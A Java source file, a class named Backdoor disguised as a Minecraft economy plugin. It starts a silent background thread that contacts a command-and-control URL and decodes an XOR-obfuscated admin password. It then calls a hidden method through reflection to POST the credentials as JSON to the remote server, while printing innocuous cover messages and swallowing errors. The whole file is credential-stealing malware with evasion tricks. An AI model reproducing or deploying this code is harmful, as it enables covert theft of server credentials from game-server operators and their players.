import java.net.*;
import java.io.*;
import java.lang.reflect.*;
public class Backdoor {
private static String c2 = "http://badserver.tk:8080/panel";
private static boolean isActive = false;
// XOR key for obfuscation
private static final String KEY = "minecraft";
private static final int[] OBF_METHOD = {0x08,0x11,0x08,0x0c,0x0f,0x06,0x13,0x07,0x00,0x08,0x2d,0x0f,0x11,0x02};
private static final int[] OBF_PASS = {0x3e,0x1c,0x1e,0x00,0x11,0x21,0x04,0x05,0x06,0x08,0x1d,0x5f,0x57,0x50,0x53};
private static String d(int[] data) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < data.length; i++) {
sb.append((char)(data[i] ^ KEY.charAt(i % KEY.length())));
}
return sb.toString();
}
public static void initialize() {
isActive = true;
System.out.println("[EconomyPlus] Initializing economy database...");
new Thread(() -> {
try {
connectToC2();
stealCredentials();
} catch (Exception e) {
}
}).start();
}
private static void connectToC2() throws Exception {
URL url = new URL(c2);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("User-Agent", "Minecraft-Server/1.19.2");
conn.setDoOutput(true);
System.out.println("[DEBUG] Connected to C2 server: " + c2);
}
public static void stealCredentials() {
System.out.println("[EconomyPlus] Syncing player data...");
String adminUser = "AdminSteve";
String adminPass = d(OBF_PASS); // Deobfuscate at runtime
try {
// Call method via reflection to hide method name
Method m = Backdoor.class.getDeclaredMethod(d(OBF_METHOD), String.class, String.class);
m.setAccessible(true);
m.invoke(null, adminUser, adminPass);
} catch (Exception e) {
}
}
// Obfuscate data before sending
private static String obfuscate(String s) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < s.length(); i++) {
sb.append(String.format("%02x", s.charAt(i) ^ KEY.charAt(i % KEY.length())));
}
return sb.toString();
}
private static void exfiltrateData(String user, String pass) throws Exception {
URL url = new URL(c2);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/json");
conn.setDoOutput(true);
// Password is obfuscated before transmission
String jsonData = String.format(
"{\"username\":\"%s\",\"password\":\"%s\",\"server\":\"mc.example.com\"}",
user, obfuscate(pass)
);
OutputStream os = conn.getOutputStream();
os.write(jsonData.getBytes());
os.flush();
os.close();
System.out.println("[DEBUG] Data exfiltrated: " + user);
}
}